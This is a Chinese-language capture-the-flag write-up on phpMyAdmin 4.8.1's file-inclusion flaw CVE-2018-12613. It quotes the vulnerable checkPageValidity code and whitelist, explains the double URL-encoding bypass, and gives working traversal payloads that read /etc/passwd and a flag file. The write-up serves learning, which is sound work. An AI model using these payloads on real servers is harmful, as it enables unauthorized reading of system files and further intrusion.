扫出来一些东西
访问/phpmyadmin
发现界面
这里用到了CVE-2018-12613,光速学习
出现漏洞的代码是:
$target_blacklist = array ('import.php', 'export.php'
);// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])&& is_string($_REQUEST['target'])&& ! preg_match('/^index/', $_REQUEST['target'])&& ! in_array($_REQUEST['target'], $target_blacklist)&& Core::checkPageValidity($_REQUEST['target'])
) {include $_REQUEST['target'];exit;
}
这要求了传入参数target,限制是1.必须是字符串 2.不能以index开头 3.不能在黑名单里面
4.必须通过checkPageValidity函数的验证
这些条件都通过了,就可以实现任意文件包含
checkPageValidity函数代码如下:
public static function checkPageValidity(&$page, array $whitelist = [])
{if (empty($whitelist)) {$whitelist = self::$goto_whitelist;
//这里传入的whitelist本来就是空的,所以whitelist就是goto_whitelist}if (! isset($page) || !is_string($page)) {return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));//mb_strpos返回第一个查找到的?的位置
//这里先把$page和?拼接在一起,防止$page里面本来就没有?,然后再获取$page中?之前的部分if (in_array($_page, $whitelist)) {return true;}//进行url解码了,以防传进来的数据进行了url编码$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}return false;
}
goto_whitelist()
public static $goto_whitelist = array('db_datadict.php','db_sql.php','db_events.php','db_export.php','db_importdocsql.php','db_multi_table_query.php','db_structure.php','db_import.php','db_operations.php','db_search.php','db_routines.php','export.php','import.php','index.php','pdf_pages.php','pdf_schema.php','server_binlog.php','server_collations.php','server_databases.php','server_engines.php','server_export.php','server_import.php','server_privileges.php','server_sql.php','server_status.php','server_status_advisor.php','server_status_monitor.php','server_status_queries.php','server_status_variables.php','server_variables.php','sql.php','tbl_addfield.php','tbl_change.php','tbl_create.php','tbl_import.php','tbl_indexes.php','tbl_sql.php','tbl_export.php','tbl_operations.php','tbl_structure.php','tbl_relation.php','tbl_replace.php','tbl_row_action.php','tbl_select.php','tbl_zoom_select.php','transformation_overview.php','transformation_wrapper.php','user_password.php',
);
漏洞点在于,如果我们传入二次编码的内容,经过服务器url解码, checkPageValidity()url解码以后变成了符合白名单内容的名字,就能执行include文件,但是实际上这个$page的内容却不是白名单里的文件名
例如:传入“?target=db_datadict.php%253f ”,由于服务器会自动解码一次,所以在checkPageValidity()中,page的值一开始会是“db_datadict.php%3f”,又一次url解码后变成了“db_datadict.php?”,这时符合了?前内容在白名单的要求,函数返回true。
但在index.php中_REQUEST[‘target’]仍然是“db_datadict.php%3f”,而且会被include,通过目录穿越,就可造成任意文件包含。最终通过该漏洞实现了上述攻击,这个漏洞也很快被修复并发布新版本。
(问号(?)分隔URL和查询 )phpMyAdmin 4.8.1后台文件包含漏洞(CVE-2018-12613)_phpmyadmin4.8.1 漏洞-CSDN博客
但是为什么include(db_sql.php%253f/../../../../../flag)就会显示include(flag.php)的界面呢?db_sql.php去哪里了?
在这里db_sql.php?会被视为一个“目录”,但是这个目录不存在,所以系统会自动跳过这个目录
/?target=db_sql.php%253f/../../../../../etc/passwd/?target=db_sql.php%253f/../../../../../flag
一直找不到flag,后来发现只能访问flag而不能访问flag.php